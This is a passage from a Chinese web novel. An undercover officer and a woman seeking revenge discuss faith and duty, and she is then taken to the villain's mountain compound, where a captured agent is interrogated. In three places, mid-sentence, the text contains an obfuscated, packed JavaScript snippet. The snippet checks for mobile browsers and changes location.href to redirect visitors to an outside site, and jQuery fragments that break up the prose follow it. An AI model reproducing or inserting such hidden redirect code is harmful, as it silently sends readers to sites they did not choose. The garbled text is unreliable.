“又极其想要摆脱这种在苦海里苦痛挣扎、怀疑迷惘、愤怒不甘的状态。” “所以我必须在我的生命里，寻找到某种坚定不移的相信。” “那是连接微小的我与这个广阔世界的锚点。” “那是一种在命运汹涌的风浪中垂死挣扎、孤注一掷但仍然顽强抗争、渴求生机的希冀。” “是无知的我对这莫测的人生、浩瀚的生命、神妙的命运、深邃的宇宙的叩问。” “更是一种永远不被命运击倒、并且在这个过程中想要依靠自己的力量真正站起来的勇气和信念。” “所以我非常能理解，只有身处黑暗的人，才会需要信仰之火来照亮生命。” “只有承受过这种程度的苦痛的人，才会需要坚定的信仰之火来指引前行的方向与道路。” 容清洛的声音越来越轻，渐渐几不可闻。 晏行铮看着她盯着远山的侧颜，柔声道：“我能理解你。” 这语气让容清洛微愣。 她扭头瞥向晏行铮，猝不及防地撞进青年深邃的眼眸中，被那眼神里的光所惊。 107. 前夜闻道 一只画眉轻跳着从悬崖边的树梢飞到栏杆上。 容清洛顺势看过去，躲开晏行铮的目光，轻声道：“你确实应该能懂我，毕竟我们的处境是这么相似，都陷在这潭泥泞里。我们应该是能感同身受的。” 晏行铮宽慰道：“其实很多人意识不到自己的无知，这些人因为没有经历过，便否认其他人生存方式存在的正确性，甚至往往因为无知愚昧而作恶。这样的人的任何反应都不具备参考性，我根本不在意，你也不必介怀。” “有信仰与否，这完全是个人选择，是我们自己的事情，与他人无关，更轮不到别人发笑。” “一个人是否有信仰，和外界环境、身处的时代都没有关系。” “真正坚不可摧的信仰，只关乎你的志向、你的心之所向，只取决于你自己。” “信仰……”容清洛反复思量着这个词的含义，问道，“晏行铮，你说，何为信？” 晏行铮：“不怀疑，相信，便为信。” 容清洛：“何为仰？” 晏行铮：“敬慕，依赖，便为仰。” 容清洛思索道：“那么，所谓信仰，其实指的就是，对某种至高无上的信念极其相信，毫不怀疑，并且仰赖这种信念的支撑克服千难万险，为实现目标而坚定不移地奋斗。” 晏行铮：“可以这么说。” 容清洛：“晏行铮，你的信仰是什么？” 晏行铮沉思片刻，掷地有声道：“作为人民警察，守护人民，解救人民，是我的信仰。” “作为卧底，知其白，守其黑，是我的信仰。” 容清洛似有所悟。 晏行铮：“你呢，清洛，你的信仰是什么？” 容清洛：“对我而言，因不甘与愤怒而燃起的复仇信念，就是我的信仰。” “一开始，我其实非常厌恶自己一直被不甘与愤怒这种情绪所奴役、所驱使。” “但是后来我发现，确实正是这样的一种情绪，不断地在我每一个坚持不下去的时刻，给予我战胜困境的勇气和能量。” “我真的，对作恶者不能受到惩罚而感到异常愤怒，我也极其不甘心把世界让给那些我鄙视且不喜欢的人。” “所以，我愿意献祭我生命的一切，去燃起复仇的烈焰。” “我期盼着，这星星之火，终有一日成为熊熊烈火，燃尽世间的不公和黑暗。” “就是这样的信仰，支撑着我一步步在暗夜里潜行，走向这条路的终点——” “恶人失庇佑，罪者皆伏法，公道照人间。” 晏行铮：“我相信，你能做到的。” “我会和你一起走下去，走到这条路的终点，见证天亮的时刻。” 容清洛：“晏行铮……” 她刚喊出晏行铮的名字，话还没说出口，晏行铮蓦地笑出声：“你现在可以啊，不叫晏先生了？” 容清洛：“你以前讲过一句话，我一直记得。” 晏行铮：“哪一句话？” 容清洛背着手，学着晏行铮当时的语气，讲道：“干我们这一行的人，外在的一切都是假的，都是混淆人视线的，只有我们体内的热血与真心昭示着我们不变的坚守与信仰。” 晏行铮：“对，我们常常需要明修栈道，暗度陈仓，用隐瞒真实意图的方式来达到真正的目的。” 容清洛接道：“于无声处收集信息，于自然处传递情报。” “还不错，看来教你的东西，你都还没忘。”晏行铮，“不过这和你换称呼有什么关系呢？” 容清洛停顿几秒，才一字一句道：“晏先生是卧底。” “而晏行铮才是真正的你。” “我想——” “和抛开这些外在身份的——“ “真正的你——” “对话。” 晏行铮：“在你面前，我一直都是真实的。” 容清洛眯起眼：“但你的真名不叫晏行铮吧？” “你姓周。” “你叫周什么？” 晏行铮默然半晌才道：“按照规定，我不能告诉你。” 容清洛：“这么古板？” 晏行铮：“这是严守纪律。” 容清洛：“好吧，那我向你学习，以神遇而不以目视。” “反正不管你姓周还是姓晏，这些都只是标识你的符号罢了。” “我只要知道，站在我面前的究竟是谁就好。” “不过，你希望我怎么称呼你呢？” 晏行铮：“你怎么喊都行，随你高兴。” 容清洛：“晏行铮。” 晏行铮：“嗯，是我。” 容清洛：“晏行铮。” 晏行铮：“怎么？” 容清洛：“你知道吗？其实在一开始，我不是没想过要放下仇恨。” “我心中虽有仇恨，有愤懑，有不满，但是也有疲惫，有辛酸，有只想找一个小地方了此残生的退缩和懦弱。” “因为仇恨是很耗费人能量的情绪。” “人间的一切，可以很轻易地侵蚀仰望人间的恶鬼的仇恨。” “仇恨有时和梦想也很像。” “梦想每时每刻都在承受着现实的冲击。” “而梦想最可贵的地方就在于，即便梦想随时可能坠落，但是总有人会沿着那狭窄的通道坚持下来，最终实现梦想。” “仇恨也一样。” “恨意随时可能因为现实而消弭，当复仇的战线无限拉长，我也需要时刻询问自己究竟为何而出发，牢记自己当初是因何而踏上这条暗夜之下的长路。” “不知道该说庆幸还是不幸，在关键时刻，总会出现一双手，推我一把，让我收起懦弱，让我无法退缩，让我只能继续在暗夜下前行。” “这一双双手，来自许多不同的人。” “其中有严靖诚、林晶、林裕，他们反复激起我的仇恨和不甘，让我说不出放弃。” “其中也有叶时冉。” “当年在南山森林公园，我奄奄一息，视线模糊间瞧着她被推下悬崖，却无能为力。” “那时候我自顾不暇，什么都做不了，可我作为唯一站在叶时冉那边且知道真相的人，午夜梦回，我好像总是看到崖底有一缕孤魂在呼喊。” “她呐喊着：‘季希，季希，你要为我报仇，你要为我沉冤，为了公道，为了正义，为了我，去让那些作恶之人受到惩罚。’” “所以哪怕我被烧伤，我变成一个面目可憎的毁容之人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578058|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我被当成棋子，我被当作替身，我苟延残喘，却始终没有放弃。” “在最艰难的时刻，我会想，我不是一个人，叶时冉一定在某个地方陪着我，所以我要撑下去，因为，这个公道，不是只有我需要，她也需要。” “关键时刻，叶时冉给了我一口坚持下去的气。” “虽然我最终没选择放弃，但我的心，总归是动摇过的。” “可晏行铮，你好像很不一样。” “你似乎从未动摇过？” “当外界的每一寸黑都在侵蚀着你内心的白，当你走了太远太远，你如何坚守最初的信念？” “你当真不会动摇吗？” “未来是那般不可测，你怎么知道你的选择就是正确的？” “如果坚持到底的代价是你无法承受的，你怎么知道未来的你不会后悔呢？” 在容清洛的几连问之下，晏行铮的眼神逐渐变得犀利。 他眼底的浓黑像是漩涡一般将容清洛所有的审视和疑惑吸纳，对视之中，容清洛败下阵来，最后只好讪讪笑道：“好吧，也许我不该问你这个问题。我收回。” 就在容清洛以为晏行铮不会回答的时候，晏行铮摇摇头，无奈道：“你还真是……不把人扒个精光，就誓不罢休。” “也罢，谈谈也无妨。”轻叹一声，晏行铮缓缓道，“我以前读书的时候看到过一句话，分享给你——” “坚刚不可夺其志，万念不可乱其心。” “这句话不是我说的，但是很触动我，所以我记了很多年。” “这是我理想中的自己的样子，与你共勉。” “其实我很认同你刚刚提到的一点，就是不管你所处的环境呈现出什么样子，不管围绕在你周围的人怀着怎样的目的和用心，你最应该叩问的，始终是你自己的内心，你究竟为何而出发？” “我自始至终，不敢忘记，我为何走上这条路。” “当卧底，在暗夜里行走，接触到的都是黑暗面，那是和我本心本性完全不同的世界，有很多诱惑，有很多罪恶。而我身上又背负着很多，所以说实话，真的是身心俱疲。” “但我走到今天这一步，付出的艰辛不仅仅只代表着我自己一人。” “我肩上承担的，还有许多战友的命。” “那么多期待和盼望推着你，再煎熬，也不能停下来，更不能改变道路。” “有时候我很羡慕那些头脑灵活的人，他们在任何情况下都能做出最利于自己的选择。” “可是我好像从小到大都是那种很死脑筋的人。” “如果我确定了一个目标，即便会失败很多次，我也会不撞南墙不回头，甚至撞了南墙也不改变。” “没办法，也许脑子不够聪明的人，多多少少就带点轴。我这辈子可能永远都只会是这种人，改不了了。” “所以我既然决定了走进这黑夜，甚至我今天已经在这条路上走了这么久、这么远，那我就不会再想那么多究竟值不值得、后不后悔。” “目标和任务已然明晰且确定，我能做的只有行动。” “如果一直瞻前顾后、反复怀疑，即便我们走的是同一条路，你也不会遇见我。” 容清洛：“为什么？” 108. 前夜闻道 晏行铮的声音有些缥缈：“因为在遇见你以前，我可能已经死了。” “左顾右盼，不够坚定，不够果敢的人，在这条路上，走不长远。” “所以清洛，不要妄自菲薄，你能走到今天，就已经证明了，你比你自己想象的要更加坚定和勇敢。” 容清洛转身，将手放在额上，遮住直射眼帘的阳光，没有说话。 良久，容清洛道：“晏行铮，我再问你一个问题。” 晏行铮：“你问。” 容清洛：“这一路上，我始终是被逼迫着做出选择的。” “我在恶劣的环境里抓住信仰这道光。” “始终是被动的。” “晏行铮，你呢？” “你是主动走进黑夜的，可你明明完全可以在光明的道路上享受阳光的照耀，你为什么要主动走进黑夜？” “我是受害者，对抗黑暗无可厚非。可你一个和此事完全不相干的人，为什么要来当卧底，为什么要为我们这些陌生人付出那么多？” “怎么会不相干呢？”晏行铮，“作为警察，我的责任是守护祖国人民，这份责任，就决定了我不能置身事外。” “总要有人来做这些的。既然如此，这个人为什么不能是我呢？” 容清洛：“这片土地上，应该有着许多和你一样的无名英雄吧。” “可是为什么呢？” “那么多人为了这片土地的安宁前仆后继地付出，这些人之间也并不一定就有血缘关系、亲缘关系。” “为什么这些人愿意为了其他人付出这么多，甚至冒着生命危险？” 晏行铮沉思片刻，才给出自己的答案：“除了职业赋予的责任，也许还有一个原因，那就是对于自己华夏儿女身份的血脉认同。” “我们都有着共同的祖国，这样的传承和身份认同已经足以让我们对这片土地上的每一个同胞有偏爱，且无条件地付出。” “不因为这个人有什么特长技能，不因为这个人的外貌皮囊，不因为这个人的秉性脾气，完完全全就只是因为这个人是这个人。只要这个人是我们国家的人民，这个人是我们的同胞，我们天然就不会放弃这个人。” “也许这就是人民的意义吧。” 容清洛：“人民？” 晏行铮：“对啊，你也是人民的一份子，警察保护人民，是警察的责任。” 身份，于容清洛而言，一直是一个她不愿意提及的话题。 她无父无母，是个孤儿。 她改头换面，是个替身。 她仰望人间，是个复仇的厉鬼。 这些身份，都不太能见光。 但现在她发现，原来她还有一个身份。 她是受保护的人民。 这似乎是一种超越亲情血脉的认同感，是源自同一文明、同一历史、经历了几千年传承的另一种血脉认同。 容清洛问道：“所以你帮我，不是因为别的，只是因为你是警察，而我是人民，所以不管我是否讨人喜欢，你都会救我是吗？” 晏行铮：“对，我作为人民警察，解救人民是我的责任。这和你是怎样的人无关。我救你，因为你是人民。就像是医生治疗病人，教师教导学生，这是他们的责任，和其他无关。” 容清洛：“是吗？那你应该知道，有的病人医生是不救的，有的学生老师也是不教的，也许在这些人眼中，看的不是病人和学生这两个身份，他们看的是其他的东西。” 晏行铮：“世界上的人有这么多，你没遇到好人，不代表这个世界上就只有那些不够好的人。” “现在，你也认识我这样的人了。” 容清洛醍醐灌顶。 她年少时也曾碰到过一个人，给过她同样的震撼。 那时她叫季希，遇到的是程景逸。 仔细想来，无论是程景逸还是晏行铮，他们似乎都是那种会在危难时刻对毫不相干的人伸出援手的人。 他们帮助别人，不因为那个人有怎样的价值，不因为他想从中获得怎样的回报，他们完全就是出于心中的道义，为了心中的信仰，为了一颗作为人的本心。 他们选择帮助你，这并不取决于你是怎样的人，这只是因为他们自己的道义、信仰、与坚守。 容清洛蓦地笑出声来。 晏行铮：“我的话很可笑？” “别误会，”容清洛摇摇头，解释道：“我以前一直有一个疑问。” “在刚刚那个瞬间，我得到了答案。” “听君一席话，胜读十年书，不外如是。” 容清洛的语气太过认真，晏行铮被勾起好奇心，问道：“什么疑问？” 容清洛：“这个世上，是否存在着一种偏爱与付出，不因为这个人是什么身份背景，不因为这个人有什么特长技能，不因为这个人的外貌皮囊，不因为这个人的秉性脾气，而完完全全就是因为这个人只是这个人？” “这样描述，好像世上并不存在这种偏爱与付出。” “但是刚刚，我突然明白，也许应该换一个角度来思考这个问题。” “这种对某个人的偏爱与付出，与这个人本身其实没有什么关系。” “实际上，这取决于那个给予偏爱和付出的人。” “从这个角度来看，这个世上必然存在着一种偏爱和付出，不因为这个人是什么身份背景，不因为这个人有什么特长技能，不因为这个人的外貌皮囊，不因为这个人的秉性脾气。” “这种选择并不取决于被偏爱者和被付出者的特质，其中所展现的，是伸出援手的付出者心中的道义、信仰与坚守。” 晏行铮：“很有道理。” 容清洛摊手：“之前的问题解决了，但是我又有了新的疑问。” 晏行铮：“什么？” 容清洛：“为什么这些人和其他人不一样？他们为什么心中有信仰、道义、坚守？” 晏行铮，“世之熙熙，逃不脱一个利字。区别只在于究竟是为了谁的利。” “有人为一己之利，有人为一家之利，有人为群体之利，有人为一国之利。” “为何有的人心中能有信仰、道义、坚守长存，这是因为，人活在世上，可以不仅仅只是为了自己的利益。” “恰如教师的有教无类，恰如警察的守护人民，恰如危难存亡之际的民族精神与民族脊梁，恰如民族复兴之路上每个同胞的赤胆忠心与拳拳国魂，恰如每一个在这片土地上、在这个时代中不断成长的你我他。 “我相信，人们存在于世间，也可以不为了名利钱权，只为了道义，为了理想，为了平等和自由。” 容清洛：“我不如你。” “但我也想跟你一样。” “见贤思齐，当如是。” 晏行铮：“谬赞了。” 两个人难得有机会聊到这么深刻的话题，容清洛打开了话匣子，便还有问题想要请教晏行铮。 她道：“晏行铮，虽然我将复仇的信念视为信仰，视为支撑我走下去的力量，但是我依然想要问你，你真的觉得，这个世上有天道和公理存在吗？” “书上常常写，好人有好报，恶人有恶报，但是我所见到的事实，好像并不是如此。” “已经将近十年过去了，林晶还在逍遥，林裕依然强大，林家蒸蒸日上。” “作恶者真的会受到惩罚吗？” “我们真的可以做到吗？” 晏行铮笃定道：“可以的，我们在黑夜里燃起一盏盏灯火，之前所经历的这段漫长的时光，都是在暗暗地积蓄力量，等待黎明的到来。” “天亮的也许会晚一些，可能只是因为那天恰好是阴天，但是天总会亮，天总会晴。” 容清洛：“好吧，我除了相信并坚持，还有什么选择呢？” “如果不相信，我就永远没有可能脱出泥沼，走出黑暗。” “先相信有光的存在，才有动力去找寻从黑夜走向光明的路径。” 晏行铮：“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578059|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样想也可以。” 容清洛：“晏行铮，《孟子》里有一句话，是这么说的：行有不得者，皆反求诸己，其身正而天下归之。” “所以我有时候也会想，是不是我不够好，也许我根本就不能算是一个好人，而林晶林裕也根本不是恶人，一切都是我错了呢？” “否则为何这么多年了，一直是我在哭，而他们在笑呢？” 晏行铮：“清洛，你这是因为一直没能看到结果，所以有些怀疑自己，有点钻牛角尖了。” “要知道，人非圣贤，孰能无过。” “不完美，绝对不是罪过。” “实际上，犯罪和不完美之间，还是有着十分清晰的界限的。” “林裕和林晶是正儿八经地犯罪了。” “而你，只是也许不够完美。” “但这很正常，因为没有人是完美的，起码我没见过。” “只是如果你对自己的道德和品格有着很高的要求，想要追求完美，那也可以，你就需要不断地觉察和改过。” 容清洛喃喃道：“觉察，改过……” 晏行铮颔首：“是。” 容清洛：“我曾在书上读到过，昔日王阳明在龙场悟道。我虽然没有这个慧根悟道，但今日也算是有缘闻道，为此值得浮一大白。” “可惜了，今天没带酒。” 晏行铮：“任务结束以后，我陪你痛痛快快喝一场。” 容清洛：“你说的话，我可记住了，那就一言为定。” “到时候不管你姓晏还是姓周，你都可要记得，你欠清洛一顿酒。” 晏行铮：“我晏行铮，一诺值千金。” 容清洛：“晏行铮，我记得，第一次见你，是在一个初夏的五月天，那时我十六岁。” “算算时间，我们也已经认识快十年了。” “你当时应该也才二十岁，估计在读大二大三，为什么就面临抉择了，我那时候还以为你是临毕业在找工作。” 晏行铮：“那时候我大二，参加遴选。我在犹豫要不要报名这个夜行计划。” 容清洛：“你是毕业那一年就来宁川市开始潜伏了吗？” 晏行铮：“是。” 容清洛：“我也是那一年被严靖诚派来宁川市，开始谋划接近林裕。” 晏行铮：“这样看来，我们确实从始至终都在一条路上，所以才会在每个关键节点不断重逢。” “三年前在花洲岛，你来找我，告诉我你要加入我。” “当时没感觉，现在回想起来，我很感谢你的勇敢。” “这条路，我走得无比坚定，但也确实孤寂。” “其他的伙伴都在幕后。在林裕身边能走到这么近的位置的，只有你。” 容清洛眼神微闪，轻声道：“在暗夜里，月亮是唯一的光源。” 她偏头，看向身边的青年：“晏行铮，你说，月亮也会感到孤独吗？” 晏行铮：“会吧。” “但是，也许，夜行的人，会让月亮少一点寂寞。” 容清洛眼睛亮晶晶的：“能陪伴月亮的夜行者，一定也对能为月亮效劳而感到荣幸之至。” 此时，太阳高照，虽是冬日暖阳，也还是有些晒，晏行铮瞥了眼容清洛有些泛红的脸，从包里拿出一顶帽子，扔到容清洛怀里：“好歹是个大明星，保护一下自己的脸。” 见容清洛抱着帽子没有反应，晏行铮强调道：“这是干净的，我还没戴过。” “我有戴口罩的。”容清洛从兜里拿出口罩向晏行铮展示。 晏行铮：“那你把帽子还我。” 容清洛快速地收起口罩，戴上帽子，笑嘻嘻道：“谢谢。” 晏行铮伸手，把帽檐往下压。 阴影遮住容清洛大半张脸，他这才满意。 视线往上，和容清洛四目相对，晏行铮抬手抵住下巴，轻咳道：“还是回到正题吧，关于营救沈飞，你最近有没有获得一些有用的信息？” 109. 生死之交 容清洛仔细在脑海里对林家的事情搜刮了一遍：“还真有一件事，也许我们可以利用。” 她道：“林晶要回国了。” 太久没有接触到这个名字，晏行铮反应了一会儿，才道：“你是说，林裕的那个妹妹？” “这四五年，她不是一直都在国外嘛？” 容清洛：“林晶去年就已经读完硕士，但林裕一直没让林晶回国，可是林晶很想回来。” “前段时间，林裕终于松口，所以林晶最近正在准备回国事宜，不日便会抵达国内。” 晏行铮：“你是怎么知道的？” 容清洛：“林晶虽然出国了，但我一直关注着她。” “毕竟她才是我执念的源头。” 晏行铮：“你知道她回来的具体时间吗？” 容清洛：“她是后天晚上的航班。” “林裕一定会去接她，带她回林宅给她接风。” 晏行铮：“一直以来我们营救的难点就是林裕每晚都在那栋关人的别墅，盯得很紧，而白天行动失去夜色的掩护，很容易暴露。” “既然后天晚上林裕不在那栋别墅，那这就是我们救人的一个好时机。” 容清洛：“对。” 晏行铮：“时间紧迫，我先回去，制定计划，之后有事我会再联系你。咱们有消息还是通过线上传递，尽量少见面。” 容清洛眼里盛满担忧：“我有预感，林裕最近恐怕有大动作。” “书中描写荆轲刺秦王，用的是‘风萧萧兮易水寒，壮士一去兮不复还’，晏行铮，你要活着回来。” 晏行铮：“我答应过你，要替你讨回公道，你放心，我不会死在林裕前面。” 他微抬下巴，示意道：“你先走。” 容清洛转身，准备沿着栈道返回。 踏下一级台阶的时候，容清洛收回脚，回到观景台。 晏行铮疑惑：“有东西落了？” “是你的东西落了。”容清洛取下帽子，递给晏行铮，“我不方便拿，还是还给你吧。” 晏行铮：“好，注意安全。” *** 容清洛回到住处以后，这天傍晚，门铃响起。 来人是林裕。 容清洛打开门，却没让林裕进屋。 林裕脸上暗含警告：“清洛。” 容清洛似笑非笑道：“怎么，林先生不用陪林太太了？” “清洛人微言轻，不敢不惜命啊。” “陋室寒舍，还是不要脏了林先生的脚为好。” 林裕：“有一段时间没来看你，是我的疏忽。” “今天我就是来补偿你的，跟我走吧。” 容清洛：“去哪里？” 林裕：“你跟着我就是了，我还能把你卖了？” “那可说不准。”容清洛，“我要换件衣服，化个妆，收拾一下。” “你这样就很好，我那里什么都有，你什么都不用带。”林裕拉住容清洛的手，转身准备直接走。 林裕这是搞偷袭，以免她夹带什么东西。 容清洛直觉有异，连忙扶住门道：“锅里煮着东西呢，你起码让我把火关了。而且外面好冷，我要加一件外套。” 林裕松开手：“快一些。” 他走进屋，坐在客厅的沙发上等她。 容清洛快速走进厨房，装模作样地把莫须有的火关上，趁机给晏行铮发去一条信息。 「注意定位，林裕有新动向。」 发送成功后，容清洛迅速删掉记录，然后回房间把几个月前林裕托晏行铮送来的项链戴上。 晏行铮告诉过她，这里面他悄悄安装了定位系统。 如果林裕要收她手机，通过项链，晏行铮也能知道她在哪里。 容清洛别的什么都没带，在衣帽间随便拿了一件外套，把手机装进兜里，就立马出来。 林裕眼尖地瞧见容清洛脖子上的项链，笑起来：“喜欢这个款式？下次再送你一条。” 容清洛：“东西也没什么差别。主要还是看是谁送的。” 林裕：“你嘴变甜了。” 容清洛：“是呀，恭喜你，驯养成功。” “刚夸你，立马就现原形。”林裕摇摇头，起身道，“走吧。” 容清洛坐上林裕的车。 车开出地库以后，她才发现，林裕的车后面跟了好几辆车。 容清洛：“怎么带了这么多人？你不是一向最为低调吗？” 林裕只是道：“最近不太平，这些人都是来保护你的安全的。” 容清洛不信，但是也并未反驳。 她降下车窗，向外看去。 不知道暗处有无晏行铮的人，如果能看见她，希望他们能察觉到异常。 林裕把车窗关上：“别轻易开窗。这是防弹玻璃。” 容清洛：“你是说，有人在暗处，要对你不利？” 林裕：“怕了？” 容清洛：“我怕的话，你会放我走吗？” 林裕：“不会。” “我说过，如果我有事，你要陪着我死。” 容清洛：“林裕，那你可要保护好自己，别死在我前面。” 林裕握住容清洛的手，放在自己膝上：“为了我们清洛不跟着殉情，我会的。” 容清洛就这样瞧着汽车飞驰，窗外的风景越来越偏僻，汽车最后驶进连绵的群山之中。 在盘山公路上绕了许久，车队停在一处依山环水建在山坳间的大宅院前。 容清洛下车，走近了，才看清门口匾额上笔走龙蛇的两个大字——裕园。 这是林裕的私产？ 下意识的，容清洛想起花洲岛。 天空突然飘起雪花。 林裕回身招手：“怎么还不走？” 容清洛应道：“来了。” 她连忙跟上林裕，跨过门槛，走进裕园。 大门关闭，山道间恢复宁静。 风雪愈盛，渐渐在地上铺上一层薄霜。 天色完全暗下来的时候，停在院外的一辆车的车门突然被打开，几位身着黑衣的彪形大汉从车内押着一个人走出。 那男子被蒙着头，看不清脸，只能从他脖子、手腕等露出的皮肤上看见累累伤痕。 血随着他被推搡着前行的动作渗到白雪之上，在地上留下两道长长的血印子。 几人并未从正门走，而是绕到后门，悄悄进入园内。 裕园很大，西北角有一处假山，假山间掩映着一扇铁门。 走进门内，里面是长长的通道，灯火通明。 这里连着裕园后面的山，以前是一处废弃的防空洞，后来被林裕改成了关人的地牢。 在地牢深处的某一间屋内，林裕早就等在这里：“没被别人看见吧？” 一个手下回答道：“没有，后面的尾巴在上山前就被甩开了。” 林裕颔首：“做得好。” “不过，若是有人跟过来也无妨，那就说明，我这鱼饵下得好。” “你去布置一下，若真有人来救他，咱们只管瓮中捉鳖就是。” “是。”那人离开。 其他手下趁着二人说话的功夫，已经将那被蒙着头的男子吊着绑好。 林裕上前，抬手示意。 手下见手势便知道意思，将这人套头的袋子和嘴里的抹布取下，露出一张清俊却明显带着被打痕迹的脸。 林裕：“沈飞。” 沈飞吐出一口血，没有说话。 林裕：“我知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578060|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你的真名肯定不叫沈飞。” “这么多天了，你在等你的同伴救援吧？” “其实，不仅你在等，我也在等。” 沈飞眼睑微跳，他垂下眼，依旧面不改色。 “不过，”林裕摘下皮手套，抬起沈飞的下巴，拍着沈飞的脸啧啧道，“真是可惜了。” “你等的那些人，都是孬种。” “他们不敢来。” “而我也不想再等了，所以我给你换个地方。” “从今往后，你就在这里待着等死吧。” “不供出其他卧底，不说出你们这次行动的详细计划，你这辈子，别想离开这里。” “好好想一想，你希望你这辈子，还有多少寿命。” “你要感谢，我还愿意给你，让你掌握自己命运的机会。” 沈飞闭上眼，一副岿然不动的模样。 林裕重新戴上手套，走出牢房，对立在一旁的手下道：“好好‘照顾’我们这位铁骨铮铮的沈先生。” 底下人自然知道老板是什么意思。 林裕沿着通道离开，惨烈的呼声直到他回到地面才随着那扇门的关闭而隔绝开来。 *** 这一切，容清洛当然都不知道。 林裕在她进园之后便将她的手机关机，锁进柜子里，美其名曰不想受到外界打扰。 当时，容清洛微微抗议：“可我还有工作没完成。” 林裕：“写你那些无病呻吟的歌？你在这里也可以写，远离尘世，更适合创作。年前这段时间，你就都在这里陪我吧。” 晚饭之后，林裕出去了一段时间。 林裕回来以后，容清洛接过他的外套，为他换衣服，手上摸到黏腻的液体。 低头细看，竟是暗红色的血迹。 容清洛没有露出异样，趁林裕去洗澡的时候，细细检查，才发现这血迹源于林裕的那副手套。 林裕洗完澡，容清洛观察到，林裕身上并无受伤的痕迹。 这血是谁的？ 刚刚，林裕出去，见了谁？ 林裕在裕园待了两个晚上，林晶预计回国的那天，林裕上午便离开裕园，乘车下山。 容清洛坐在堂前，盯着窗外的飞雪时，仍然在思索着这两个问题。 厨房做饭的柴婶端着一碗粥走来。 容清洛：“我实在是喝不下，你端走吧。” 柴婶劝道：“夫人，今日是腊八。我们庄稼人都说，腊八不吃粥，来年不丰收，您多少吃一些，图个吉利？” 容清洛：“今天是腊八？” 柴婶点头：“是。” 容清洛：“柴婶，你厨房里做腊八粥的食材剩的还多吗？” 柴婶：“多着呢，林先生早就吩咐厨房大采购，最近囤了许多食材，吃到年后是没问题的。” 闻言，容清洛便知道，林裕来这里，不是兴之所至，而是早就计划好的。 她只是一个为林裕遮掩的幌子，而林裕另有目的。 容清洛想揭开这层朦胧的纱，一探究竟，所以她道：“柴婶，我想请你教我做腊八粥，你愿意吗？” 柴婶：“当然愿意，夫人您跟我来。” 二人往厨房走的时候，柴婶好奇道：“夫人是要给林先生做吗？您跟林先生的感情真好。” 林裕没有明言二人的关系，容清洛便也没有多解释，只好任由柴婶继续误会下去。 这位柴婶是这山里的当地人，看来和林家关系不深，只是被招来做饭的。 “男人家出去做事，哪里会缺这一口吃的。”容清洛笑道，“我是看这几天下雪，怪冷的，你们也都辛苦了。今儿恰好是腊八，我做一点腊八粥，分给裕园所有的工作人员喝一碗，算是我的一点心意。” 110. 生死之交 柴婶满脸笑容，不甚熟练地说着恭维话：“夫人真是心善。” 容清洛摇摇头，温和道：“哪里，我闲着也是闲着，找点事情做，解解闷罢了。” 在长廊里行走，容清洛深感这裕园之大。 她不知道这座宅院里到底隐藏着林裕的什么秘密，便只能抽丝剥茧，一点一点地探寻。 首先，她要知道，如今这裕园里到底有多少人。 尤其是要弄清楚，暗处所隐匿着的人数。 而要知道这一点，问其他人很容易惹起怀疑。 容清洛只好从柴婶这里下手，迂回地打听。 厨房，也许才是最清楚这座深深庭院里如今到底藏了多少人的地方。 容清洛：“柴婶，整个裕园之内，所有人的一日三餐都从你们的这个大厨房里出吗？” 柴婶点头：“是，园内并无小厨房。” 容清洛：“那你们忙得过来吗？一共有几个厨师？” 柴婶：“还算忙得过来。除了我，还有老郭和老郝，一共就我们三个厨师。” “以前其实只有老郭和老郝的。” “我们家那口子平常除了种地之外，也替林先生打理这座宅院。今年是因为林先生说有女眷要来住，不放心外面不知根知底的人进来，所以才临时招我过来做饭，夫人吃的饭食专门由我来做。” 容清洛：“你来了有多久了？” 柴婶：“如今是一月份，我是去年十二月中旬来的，也不过大半个月。” 容清洛心里一紧。 也就是说，至少在大半个月以前，林裕就开始谋划着什么。 容清洛：“那你原本是做什么的呢？” 柴婶：“我就是这山里种地的。” 容清洛叹气：“我们过来，反倒是耽误你家干活了。” 柴婶：“哪里，山上冬天本来也种不了什么，来给夫人做饭，反而多挣些钱。” 容清洛：“柴婶，你们总共才三个厨师，每顿需要准备多少人的饭量？” 柴婶：“平常也就十来人，现在不超过三十人。” 容清洛：“有没有精确的数目？我既然要给大家做粥，起码要知道到底有多少人，才好做准备。” 柴婶：“夫人，不是我不告诉您，只是我确实不知道具体的。” 见容清洛蹙眉，柴婶又道：“但是这个不是不能推测，我来以后，厨房的碗筷都是我洗的。” “从我昨天洗的筷子来看，除了林先生和夫人您，这园子里应该还有二十七张嘴。” 容清洛：“那我们来之前呢？” 柴婶：“大概十四人左右。” 容清洛：“这些人里面，算你们自己吗？” 柴婶：“不算。我们厨师都是另外吃的。” 容清洛：“嗯，除去今天离开的四个保镖，把你们三个厨师加上，一共做二十六份粥。” 